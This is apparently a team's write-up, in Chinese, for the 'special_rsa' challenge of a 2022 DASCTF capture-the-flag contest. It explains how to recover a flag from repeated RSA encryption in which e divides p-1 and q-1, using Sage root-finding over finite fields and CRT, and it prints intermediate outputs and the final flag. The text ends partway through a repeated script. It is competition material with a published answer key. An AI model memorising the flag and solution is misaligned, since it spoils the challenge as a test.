0%

2022DASCTF Apr X FATE 防疫挑战赛WP

队伍信息

  • 名称:村通网队

  • 成员:4人

    Members

  • 排名:30

    rank

解题情况

  • 2道Crypto,总3道

  • 2道Misc, 总5道
    detail

  • 其中Crypto方向第8名
    Rank for crypto

Crypto

special_rsa

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
def getPrime1(bitLength, e):
while True:
i = getPrime(bitLength)
if (i - 1) % e ** 2 == 0:
return i
flag=b'DASCTF{????????????????????}'
m = bytes_to_long(flag)
lenth = ((len(bin(m)) - 2) // 2) + 9
e=113
p = getPrime1(lenth, e)
q = getPrime1(lenth, e)
n=p*q
print(f"n = {n}")
c1 = pow(m, e, n)
for i in range(26):
lenth = ((len(bin(c)) - 2) // 2) + 9
p = getPrime1(lenth, e)
q = getPrime1(lenth, e)
n=p*q
print(f"n = {n}")
c=pow(c,e,n)
print(f"e = {e}")
print(f"c = {c}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# output.txt
n = 1134876149917575363176366704410565158549594427794901202977560677131703617
n = 68506321231437453734007374706367120760326482177047006099953454136095248103663
n = 7783503593765446343363083302704731608384677185199537317445372251030064778965500447
n = 1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
n = 84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
n = 4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
n = 222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
n = 19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437
n = 1549903986709797721131070830901667744892392382636347158789834851868638863292232718716074359148785900673192362699
n = 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157261619643
n = 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967063441528305921
n = 128744123633657656499069966444992201456797762973822340505291131642660343436783413140023509983315177426811890315424928661125061
n = 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238307918266361998553646469
n = 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224536487399393397120864878000113
n = 138594056023048386926766329537127538558164718841925506735112367176642328352257472034381662493666299220910783237918231719166519833124529218331
n = 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814069396690436662985593377966417476040659
n = 83372889332166088651413254885376085265561130214754686361784964744744711092668473281132249352040520639092871294276293287744276919265091479681667169671
n = 10684953914628370830889219903654707140968094024767031366624595731918523435466123514094659595357231410471738736952266383928737163485550013190959149252435167
n = 428359134899960532964729749713513106760306719712194950954567619156985067322564731294653991204666853689688900339268764469280769569535109069729404621290809120793
n = 24491413133428851306933688733518898516890217803647806829002775935975741568422047344206442746983871735723486865901743352102305801200224958166496937663406627341150101
n = 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620288545344598917362752622130186820039265603312354963258673860579
n = 157978379942536176944325875241196121764116712487226808271002140500926678942090491383544034591205964958130852055691446362753906164711087278555153881606839791499207025307202087
n = 43938571869497484913682975192955012614794498816057204091016374302341854100775132924321569876797699342959191646206571444845883942305710956894334106963321644724361549027630634869933
n = 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801053316107165770342161619265243081616632312934742288262985830181883449780965531
n = 222235907202454132555071455958700740228567465616560859711214102245461514428187391909176054661864893645713338391509536653547350134615807194339839952004333949540567943568810413945779642106201
n = 44890472824427626252451120059527486677662371033945481542195354255473403815853320591468917295474578271680865394304946847791535710766947049195816261224382109115684638995528332538466194474846836399
n = 1062789633774349417938788353001516763303743389381120380522262327123099728631034935663418832664265833959487018276693680850987382421521055508477988016246558095545925414048663082368488342633334571240563
e=113
c=1028324919038104683475485759234995158466543298184637219012354053883391759172761125802189697762778242175407876548832454351014064525118465877297277847501477586955680645311999174005606833294172830817159

可知

  • flag被rsa加密后产生的密文C 就是 下次一次加密的明文,即:循环加密密文

  • 附件给出了e、所有的n 、最后的C

  • 根据n,利用分解网站依次写出对应p、q

  • 由p、q生成过程发现,e|(q-1) 且 e|(p-1)

    简单的e,phi不互素不能处理gcd(e, phi) = e的情况

    参考以下原理

    e 和 p−1 (或 q−1)的最大公约数就是 e 本身,也就是说 e∣(p−1),只有对 c 开 e 次方根才行。

    可以将同余方程 m^e ≡ c (modn) 化成

    m^e ≡ c (modp)

    m^e ≡ c (modq)

    然后分别在 GF(p) 和 GF(q) 上对 c 开 e 次方根,再用CRT组合一下即可得到在 modn 下的解。

    问题是,如何在有限域内开根

    这里 e 与 p−1 和 q−1 都不互素,不能简单地求个逆元就完事。

    这种情况下,开平方根可以用Tonelli–Shanks algorithmWiki说这个算法可以扩展到开n次方根

    在这篇paper里给出了具体的算法:Adleman-Manders-Miller rth Root Extraction Method

    这个算法只能开出一个根,实际上开 e 次方,最多会有 e 个根(这题的情况下有0x1337个根)。

    如何找到其他根?

    StackOverflow – Cube root modulo P 给出了方法。

    如何找到所有的primitive 0x1337th root of 1?

    StackExchange – Finding the n-th root of unity in a finite field 给出了方法。

    Exploit(以 e=0x1337 为例)

    • 先用Adleman-Manders-Miller rth Root Extraction Method在 GF(p) 和 GF(q) 上对 c 开 e 次方根,分别得到一个解。大概不到10秒。
    • 然后去找到所有的0x1336primitive nth root of 1,乘以上面那个解,得到所有的0x1337个解。大概1分钟。
    • 再用CRT对 GF(p) 和 GF(q) 上的两组0x1337个解组合成 modn 下的解,可以得到0x1337**2=24196561个 modn 的解。最后能通过check()的即为flag。大概十几分钟。

    解出后,发现不止一个解,需要初步筛选

    由c = m^e mod n 原理 以及 循环加密的逻辑,不难发现解出来的 m 得小于 上一个n

    即使加上以上限定条件,仍有些m解出来不只1个

    所以,当解到一组无解时,需要更换 无解这组之前的m(下面会用 列表表示 每次解得的 所有符合条件的m

    直到打印出预期的c0 (flag加密得来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#脚本2
#Sage

n0 = 1134876149917575363176366704410565158549594427794901202977560677131703617
n1 = 68506321231437453734007374706367120760326482177047006099953454136095248103663
n2 = 7783503593765446343363083302704731608384677185199537317445372251030064778965500447
n3 = 1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
n4 = 84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
n5 = 4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
n6 = 222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
n7 = 19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437
n8 = 1549903986709797721131070830901667744892392382636347158789834851868638863292232718716074359148785900673192362699
n9 = 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157261619643
n10 = 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967063441528305921
n11 = 128744123633657656499069966444992201456797762973822340505291131642660343436783413140023509983315177426811890315424928661125061
n12 = 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238307918266361998553646469
n13 = 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224536487399393397120864878000113
n14 = 138594056023048386926766329537127538558164718841925506735112367176642328352257472034381662493666299220910783237918231719166519833124529218331
n15 = 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814069396690436662985593377966417476040659
n16 = 83372889332166088651413254885376085265561130214754686361784964744744711092668473281132249352040520639092871294276293287744276919265091479681667169671
n17 = 10684953914628370830889219903654707140968094024767031366624595731918523435466123514094659595357231410471738736952266383928737163485550013190959149252435167
n18 = 428359134899960532964729749713513106760306719712194950954567619156985067322564731294653991204666853689688900339268764469280769569535109069729404621290809120793
n19 = 24491413133428851306933688733518898516890217803647806829002775935975741568422047344206442746983871735723486865901743352102305801200224958166496937663406627341150101
n20 = 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620288545344598917362752622130186820039265603312354963258673860579
n21 = 157978379942536176944325875241196121764116712487226808271002140500926678942090491383544034591205964958130852055691446362753906164711087278555153881606839791499207025307202087
n22 = 43938571869497484913682975192955012614794498816057204091016374302341854100775132924321569876797699342959191646206571444845883942305710956894334106963321644724361549027630634869933
n23 = 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801053316107165770342161619265243081616632312934742288262985830181883449780965531
n24 = 222235907202454132555071455958700740228567465616560859711214102245461514428187391909176054661864893645713338391509536653547350134615807194339839952004333949540567943568810413945779642106201
n25 = 44890472824427626252451120059527486677662371033945481542195354255473403815853320591468917295474578271680865394304946847791535710766947049195816261224382109115684638995528332538466194474846836399
n26 = 1062789633774349417938788353001516763303743389381120380522262327123099728631034935663418832664265833959487018276693680850987382421521055508477988016246558095545925414048663082368488342633334571240563
e = 113
c = 1028324919038104683475485759234995158466543298184637219012354053883391759172761125802189697762778242175407876548832454351014064525118465877297277847501477586955680645311999174005606833294172830817159

p26 = 978009050697262759337388871320370165458800566798280419667959552859180906066907114053826258140106617
q26 = 1086686910531802445146659484012613083647370307628438760118376029969836222533970554565751069314622539
p25 = 5952590790902091635268726673538951527433355660839816621733964706901441977862333411532558667717227
q25 = 7541333580839789645678699855290145212677767915429008863004397257213367753100058966625356835737037
p24 = 14702310219802004876082313481498680940324963613770096574742182597840558294030859405666549879531
q24 = 15115713372931874518523751684548940147062395364112500028355694776530968944848166318295947674571
p23 = 43870497594014737833600078975099212558645315030912084285417550950854483979406797450479252891
q23 = 59471978701477648587546053450213894562580907285714122639903144859545186463681183925646967041
p22 = 206721456778089912780641186795393376537372828449722520397829606593267585681448641482345737
q22 = 212549643149353357950643557614966235999942509894271006476145929120541407503538644651435909
p21 = 368461902207817023013078031477042541053987571003677386333567043030477451518424731838173
q21 = 428750921047556327595864876619292414694543668237320723518704707914310601565770504401619
p20 = 1328165608715012145707239303399129070657427496129541416861187541092152796676371237057
q20 = 1692196606246085729483398884059069884182535824953762329164855466589577530953493347747
p19 = 4479430800690915874719403516331677127806963529247809966024777708496270901092401687
q19 = 5467527956822382309398095704409409074818664888285375307055715842283183939297839923
p18 = 15874438801602936764330936047390981280096007684699625987478211613419079727910193
q18 = 26984206512970181742033712455904984758134288864531714209886622060356697128804201
p17 = 102366458668689911004027849640392002821642295855327735994412634235696717329671
q17 = 104379442774418262390337411577160146519860415840398189010112686742489182665577
p16 = 262775599542220820608778738911414710660835549772895468394761119434220071003
q16 = 317277895959173163347650321012213555955385929418622006880521870012130207557
p15 = 2623629589005115152329094552749299711026240699896424120660145647226563547
q15 = 3200631836176555526009533059891690177091538103904679780020639896015937897
p14 = 11136261905010083405430254612464029672882837025885682392810368001188527
q14 = 12445294229358634680867170058509842935273054334385354032543323581223253
p13 = 43449898447639409732732812916430042263570178747794530133229640125923
q13 = 46014074200352892806829193743016415423205917845271691428043440245531
p12 = 66882708962198932251728043152245270662769508317424500666902658099
q12 = 103424977238409568447978495499643051307907366367259219393937014631
p11 = 350121371461894793578110243222665782247737840410076591434903787
q11 = 367712839396521757736384350030802803477965822058616833553305103
p10 = 954412804126450754097808991490470782833291028309980575506163
q10 = 1567597041534155679238655992215022394597376421096298363211067
p9 = 6623023178993627032758350846838617937710601663528839184727
q9 = 9419832152875820180139633405089278278408407453522978357309
p8 = 37185691759470013533730603170661686570987787098353146897
q8 = 41680117092754807988080699273322244961911189757589699867
p7 = 135813272566456906193934636644217527100917542578856697
q7 = 140758317578347635848563045232314610161039815135897421
p6 = 385788223643735590500185001710758495904528462058461
q6 = 576581905150085393327734090419529952232186498060949
p5 = 1656848589754467667368312855929759764100120657831
q5 = 2714357008989072105081411295741540337141142641741
p4 = 7832299017937880395583715032476962329929226581
q4 = 10726403821316775206273675267109184566904426261
p3 = 24335212484189159197840692460327461505035059
q3 = 43974782968656404951924524450501283426052127
p2 = 88067722275537586769787599991567203589751
q2 = 88380889077762105057154017276462714444697
p1 = 232079231415308325450092906880606082069
q1 = 295185057334340451492588650872876746227
p0 = 953730950786751671162019537171974567
q0 = 1189933229053113361422958527792232151


def solve(p, q, c, e, n_):

P.<a>= PolynomialRing(Zmod(p), implementation='NTL')
f = a ^ e - c
mps = f.monic().roots()

P.<a>= PolynomialRing(Zmod(q), implementation='NTL')
g = a ^ e - c
mqs = g.monic().roots()

for mpp in mps:
x = mpp[0]
for mqq in mqs:
y = mqq[0]
solution = CRT_list([int(x), int(y)], [p, q])
if solution < n_:
solutions.append(solution)


p = []
q = []
n_ = []
for i in range(0, 27):
solutions = []
i = 26 - i
print(i)
print("c", c)
eval("p.append(p{0})".format(i))
print('p',p[-1])
eval("q.append(q{0})".format(i))
print('q', q[-1])
eval("n_.append(n{0})".format(i-1))
print("上一个n", n_[-1])
solve(p[-1], q[-1], c, e, n_[-1])
print(solutions)
if i == 21:
c = solutions[0]
elif i==9:
c = solutions[-2]
elif i==5:
c = solutions[0]
else:
c = solutions[-1]
print()
print()

print(c)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
# 输出数据
26
c 1028324919038104683475485759234995158466543298184637219012354053883391759172761125802189697762778242175407876548832454351014064525118465877297277847501477586955680645311999174005606833294172830817159
p 978009050697262759337388871320370165458800566798280419667959552859180906066907114053826258140106617
q 1086686910531802445146659484012613083647370307628438760118376029969836222533970554565751069314622539
上一个n 44890472824427626252451120059527486677662371033945481542195354255473403815853320591468917295474578271680865394304946847791535710766947049195816261224382109115684638995528332538466194474846836399
[34477005676820162206313524350718388995388964361111914461122792945404747258640626572519670215765749828347378102656628531443002193905830917576501911098980764185815997345702819264240009751148442426]


25
c 34477005676820162206313524350718388995388964361111914461122792945404747258640626572519670215765749828347378102656628531443002193905830917576501911098980764185815997345702819264240009751148442426
p 5952590790902091635268726673538951527433355660839816621733964706901441977862333411532558667717227
q 7541333580839789645678699855290145212677767915429008863004397257213367753100058966625356835737037
上一个n 222235907202454132555071455958700740228567465616560859711214102245461514428187391909176054661864893645713338391509536653547350134615807194339839952004333949540567943568810413945779642106201
[122251474355770407049299923720807002619294038964768766444097932240736660221208587524190952184175408395327264273947998924572358674189845633957638043199338228060748873522292564061697159084155]


24
c 122251474355770407049299923720807002619294038964768766444097932240736660221208587524190952184175408395327264273947998924572358674189845633957638043199338228060748873522292564061697159084155
p 14702310219802004876082313481498680940324963613770096574742182597840558294030859405666549879531
q 15115713372931874518523751684548940147062395364112500028355694776530968944848166318295947674571
上一个n 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801053316107165770342161619265243081616632312934742288262985830181883449780965531
[2302982988306130873718678248046965635619977122378875400979845776887964102490919700970705411214473299613671701762260147495040038609477011076066320527267277326015932285789720472919789158]


23
c 2302982988306130873718678248046965635619977122378875400979845776887964102490919700970705411214473299613671701762260147495040038609477011076066320527267277326015932285789720472919789158
p 43870497594014737833600078975099212558645315030912084285417550950854483979406797450479252891
q 59471978701477648587546053450213894562580907285714122639903144859545186463681183925646967041
上一个n 43938571869497484913682975192955012614794498816057204091016374302341854100775132924321569876797699342959191646206571444845883942305710956894334106963321644724361549027630634869933
[23537451475264654783397519677185909863292665248941544646127041892810699254693157668878272163047447965494360147684605330696871807540713768499564637999043110095219692999410680226995]


22
c 23537451475264654783397519677185909863292665248941544646127041892810699254693157668878272163047447965494360147684605330696871807540713768499564637999043110095219692999410680226995
p 206721456778089912780641186795393376537372828449722520397829606593267585681448641482345737
q 212549643149353357950643557614966235999942509894271006476145929120541407503538644651435909
上一个n 157978379942536176944325875241196121764116712487226808271002140500926678942090491383544034591205964958130852055691446362753906164711087278555153881606839791499207025307202087
[140177373424899679430074829392928313477693819706173332758040927339401517742208025981523425936186925200196496612125625456430631622632150834127049737384042503028994857458226467]


21
c 140177373424899679430074829392928313477693819706173332758040927339401517742208025981523425936186925200196496612125625456430631622632150834127049737384042503028994857458226467
p 368461902207817023013078031477042541053987571003677386333567043030477451518424731838173
q 428750921047556327595864876619292414694543668237320723518704707914310601565770504401619
上一个n 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620288545344598917362752622130186820039265603312354963258673860579
[963130018196161068022561826136699615972631158326273266709450636152057794259408910239684181019014240059847446622341252471979045951190123708301480386597157821916163544334, 219785508612613802216451325231684154232671610129643237209951549593627718088951326786938561835919852060454295291676893330256385004619027744244112309090521216117612270955]


20
c 963130018196161068022561826136699615972631158326273266709450636152057794259408910239684181019014240059847446622341252471979045951190123708301480386597157821916163544334
p 1328165608715012145707239303399129070657427496129541416861187541092152796676371237057
q 1692196606246085729483398884059069884182535824953762329164855466589577530953493347747
上一个n 24491413133428851306933688733518898516890217803647806829002775935975741568422047344206442746983871735723486865901743352102305801200224958166496937663406627341150101
[22099780396461829722379389411334090279609060431701121609182515723815260652756755053990706324709932514832032225698612585831935469922880299786763383240418382919799321]


19
c 22099780396461829722379389411334090279609060431701121609182515723815260652756755053990706324709932514832032225698612585831935469922880299786763383240418382919799321
p 4479430800690915874719403516331677127806963529247809966024777708496270901092401687
q 5467527956822382309398095704409409074818664888285375307055715842283183939297839923
上一个n 428359134899960532964729749713513106760306719712194950954567619156985067322564731294653991204666853689688900339268764469280769569535109069729404621290809120793
[339872121965407658932035525463686156827750242931688944610910333924021823802853041665508873405457522819631217022111208112413457553033499000314226547656845920264, 105203615092085867196180713024031580953262645244470745062806287628728083957360817366488801411967688912343820375347382249694217193012009121220949533257603223298]


18
c 105203615092085867196180713024031580953262645244470745062806287628728083957360817366488801411967688912343820375347382249694217193012009121220949533257603223298
p 15874438801602936764330936047390981280096007684699625987478211613419079727910193
q 26984206512970181742033712455904984758134288864531714209886622060356697128804201
上一个n 10684953914628370830889219903654707140968094024767031366624595731918523435466123514094659595357231410471738736952266383928737163485550013190959149252435167
[2770807474173138559681583722575063626632396109101990628426422882126692567611876893424492013746533498499436328221834686503730687608977519563790607788117242]


17
c 2770807474173138559681583722575063626632396109101990628426422882126692567611876893424492013746533498499436328221834686503730687608977519563790607788117242
p 102366458668689911004027849640392002821642295855327735994412634235696717329671
q 104379442774418262390337411577160146519860415840398189010112686742489182665577
上一个n 83372889332166088651413254885376085265561130214754686361784964744744711092668473281132249352040520639092871294276293287744276919265091479681667169671
[79522563507420097241671540749267415107213223614814036174487708662964551801437232540659877853816396875693921978483029788328787752167530021794795431857]


16
c 79522563507420097241671540749267415107213223614814036174487708662964551801437232540659877853816396875693921978483029788328787752167530021794795431857
p 262775599542220820608778738911414710660835549772895468394761119434220071003
q 317277895959173163347650321012213555955385929418622006880521870012130207557
上一个n 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814069396690436662985593377966417476040659
[5740430010013684628644551879825046012734679272445242381620481408471916167301047890256368008799418782647448496772184916399177933499460690370459556, 2037298899016874045219277999643220063198097234557335235921481885211253636813115803603315238074035822211603707964528777576900935877949510316646223]


15
c 2037298899016874045219277999643220063198097234557335235921481885211253636813115803603315238074035822211603707964528777576900935877949510316646223
p 2623629589005115152329094552749299711026240699896424120660145647226563547
q 3200631836176555526009533059891690177091538103904679780020639896015937897
上一个n 138594056023048386926766329537127538558164718841925506735112367176642328352257472034381662493666299220910783237918231719166519833124529218331
[91620534205913166538263094639686621545207290194630647497982781366417941090195313655420047805846906050555821244135842146392017800438719304994]


14
c 91620534205913166538263094639686621545207290194630647497982781366417941090195313655420047805846906050555821244135842146392017800438719304994
p 11136261905010083405430254612464029672882837025885682392810368001188527
q 12445294229358634680867170058509842935273054334385354032543323581223253
上一个n 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224536487399393397120864878000113
[634223615344447851225076194238185184332604736515528218505996221339671015125769748828654573318605955936504358040759056745442253727290998]


13
c 634223615344447851225076194238185184332604736515528218505996221339671015125769748828654573318605955936504358040759056745442253727290998
p 43449898447639409732732812916430042263570178747794530133229640125923
q 46014074200352892806829193743016415423205917845271691428043440245531
上一个n 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238307918266361998553646469
[1151747077760886031968395300122212971249677857649906015143598211944659498637807719069388997270109028927478629593266598515428543599]


12
c 1151747077760886031968395300122212971249677857649906015143598211944659498637807719069388997270109028927478629593266598515428543599
p 66882708962198932251728043152245270662769508317424500666902658099
q 103424977238409568447978495499643051307907366367259219393937014631
上一个n 128744123633657656499069966444992201456797762973822340505291131642660343436783413140023509983315177426811890315424928661125061
[4885555691619901252961116690244561429850119193038756404218077274265730135140315447675335151534535632576283303735514949638673]


11
c 4885555691619901252961116690244561429850119193038756404218077274265730135140315447675335151534535632576283303735514949638673
p 350121371461894793578110243222665782247737840410076591434903787
q 367712839396521757736384350030802803477965822058616833553305103
上一个n 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967063441528305921
[441483827088168645513094641426499891374571558703981036806090540801685962515269086990244001450093104554187188047355883908]


10
c 441483827088168645513094641426499891374571558703981036806090540801685962515269086990244001450093104554187188047355883908
p 954412804126450754097808991490470782833291028309980575506163
q 1567597041534155679238655992215022394597376421096298363211067
上一个n 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157261619643
[50746207344403804443969898876160025928774123141871973214027095925794652197169084777221214441362057146919986427284274]


9
c 50746207344403804443969898876160025928774123141871973214027095925794652197169084777221214441362057146919986427284274
p 6623023178993627032758350846838617937710601663528839184727
q 9419832152875820180139633405089278278408407453522978357309
上一个n 1549903986709797721131070830901667744892392382636347158789834851868638863292232718716074359148785900673192362699
[657107719500394822892028354527169935943474820140535753753542512969310979794098072396859652456232677935960563842, 851834034713920072016294826766890940103178167607817794715692270318536007164857863881508649769981422663639184163, 527047155800840593369140310256885301274622245610009509121333858627158271116419456151449561049622379237851374997]


8
c 851834034713920072016294826766890940103178167607817794715692270318536007164857863881508649769981422663639184163
p 37185691759470013533730603170661686570987787098353146897
q 41680117092754807988080699273322244961911189757589699867
上一个n 19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437
[5772224180179962397158418478468305994920422145855450551932850591253169055736728137194928021864521464661511]


7
c 5772224180179962397158418478468305994920422145855450551932850591253169055736728137194928021864521464661511
p 135813272566456906193934636644217527100917542578856697
q 140758317578347635848563045232314610161039815135897421
上一个n 222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
[201270414263671865648131358230135006175090857068415686069148837994386901812348962669414590276244279652]


6
c 201270414263671865648131358230135006175090857068415686069148837994386901812348962669414590276244279652
p 385788223643735590500185001710758495904528462058461
q 576581905150085393327734090419529952232186498060949
上一个n 4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
[1631195497375922229848480131202350147418728908365651197102485655617240528564830722486663140830762]


5
c 1631195497375922229848480131202350147418728908365651197102485655617240528564830722486663140830762
p 1656848589754467667368312855929759764100120657831
q 2714357008989072105081411295741540337141142641741
上一个n 84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
[83436593835736927783034931301466249878138772728555530531816534785622373800125814331410735801, 541028901037423648292648425333532314938480435681509712968388151546772635406670001849006961]


4
c 83436593835736927783034931301466249878138772728555530531816534785622373800125814331410735801
p 7832299017937880395583715032476962329929226581
q 10726403821316775206273675267109184566904426261
上一个n 1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
[612402625116056383171913080691265536933185153779141510100715847406642891544437819056399]


3
c 612402625116056383171913080691265536933185153779141510100715847406642891544437819056399
p 24335212484189159197840692460327461505035059
q 43974782968656404951924524450501283426052127
上一个n 7783503593765446343363083302704731608384677185199537317445372251030064778965500447
[7523449601904104920623925101649366402016181450187359849499567637389273313904203215]


2
c 7523449601904104920623925101649366402016181450187359849499567637389273313904203215
p 88067722275537586769787599991567203589751
q 88380889077762105057154017276462714444697
上一个n 68506321231437453734007374706367120760326482177047006099953454136095248103663
[23388304805925808822689623463866376122782272519632037291479310043364093060855]


1
c 23388304805925808822689623463866376122782272519632037291479310043364093060855
p 232079231415308325450092906880606082069
q 295185057334340451492588650872876746227
上一个n 1134876149917575363176366704410565158549594427794901202977560677131703617
[53296318153341311013989348488093143123693921875654781175946491674187297]


0
c 53296318153341311013989348488093143123693921875654781175946491674187297
p 953730950786751671162019537171974567
q 1189933229053113361422958527792232151
---------------------------------------------------------------------------
TypeError Traceback (most recent call last)
<ipython-input-39-193924cf64b6> in <module>
119 eval("q.append(q{0})".format(i))
120 print('q', q[-Integer(1)])
--> 121 eval("n_.append(n{0})".format(i-Integer(1)))
122 print("上一个n", n_[-Integer(1)])
123 solve(p[-Integer(1)], q[-Integer(1)], c, e, n_[-Integer(1)])

<string> in <module>

TypeError: unsupported operand type(s) for -: 'function' and 'int'

报错是在预期内的。
因为对于flag这一组的加密而言,没有n_(再上一组的n)了

此时,单独拿出c、p、q, 解出的m转byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#脚本2
#Sage
import libnum

c = 53296318153341311013989348488093143123693921875654781175946491674187297
p = 953730950786751671162019537171974567
q = 1189933229053113361422958527792232151
e = 113

P.<a>=PolynomialRing(Zmod(p),implementation='NTL')
f=a^e-c
mps=f.monic().roots()

P.<a>=PolynomialRing(Zmod(q),implementation='NTL')
g=a^e-c
mqs=g.monic().roots()

for mpp in mps:
x=mpp[0]
for mqq in mqs:
y=mqq[0]
solution = CRT_list([int(x), int(y)], [p, q])
print(libnum.n2s(int(solution)))

得到多组乱码
根据题目中flag格式flag=b'DASCTF{????????????????????}',搜索DASCTF,得解。

1
2
3
4
5
6
7
b"s*\xfc\xec\xa2\xf4\xcec\xcf'\r(a\x02\x86\xde\xed\xbc\x9dwO\x0f\xd1Va,\xe1\xeeP\x18"
b'\x97\xa9\x07\xd7\xd3\xa5\x03\x06\xabz\xa9&\xe1\xfcI\xc2Me\xf9\xbf\xd9\xb5\xbdC]a\xd0;sZ'
b'2\xd5\xd4\x17\xe7O\x06\xe5\xe7\x13\x85\xa8\xbb\x12\xb9\x90\xb910V\x0eVk\xc4\x98\x9f\xed\tt\x86'
b'DASCTF{s4g3m4th_i5_co0l!}'
b'$\x83\xfcx\x9eD\xd3\xa5\x06\nJ\xbaoI\x9e\x14\x80+G4\x8b\x9015? LA\xe7\xe8'
b'}\x9e!\x1e\x9c\xc8\xa2n"\xee#\x83\xb8!\xd5c\x9c9[\xb5F~\xa0\xb8\xe3\xb1R\xe2}\xea'
b"\x1a\x92{'\xf0?zO\xf5\rL\x1d\x11N?\x13\xc3\xb2\x08\xd2{\xd7s\xda0=h\x16G\xf8"

DASCTF{s4g3m4th_i5_co0l!}

总代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#脚本2
#Sage

n0 = 1134876149917575363176366704410565158549594427794901202977560677131703617
n1 = 68506321231437453734007374706367120760326482177047006099953454136095248103663
n2 = 7783503593765446343363083302704731608384677185199537317445372251030064778965500447
n3 = 1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
n4 = 84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
n5 = 4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
n6 = 222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
n7 = 19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437
n8 = 1549903986709797721131070830901667744892392382636347158789834851868638863292232718716074359148785900673192362699
n9 = 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157261619643
n10 = 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967063441528305921
n11 = 128744123633657656499069966444992201456797762973822340505291131642660343436783413140023509983315177426811890315424928661125061
n12 = 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238307918266361998553646469
n13 = 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224536487399393397120864878000113
n14 = 138594056023048386926766329537127538558164718841925506735112367176642328352257472034381662493666299220910783237918231719166519833124529218331
n15 = 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814069396690436662985593377966417476040659
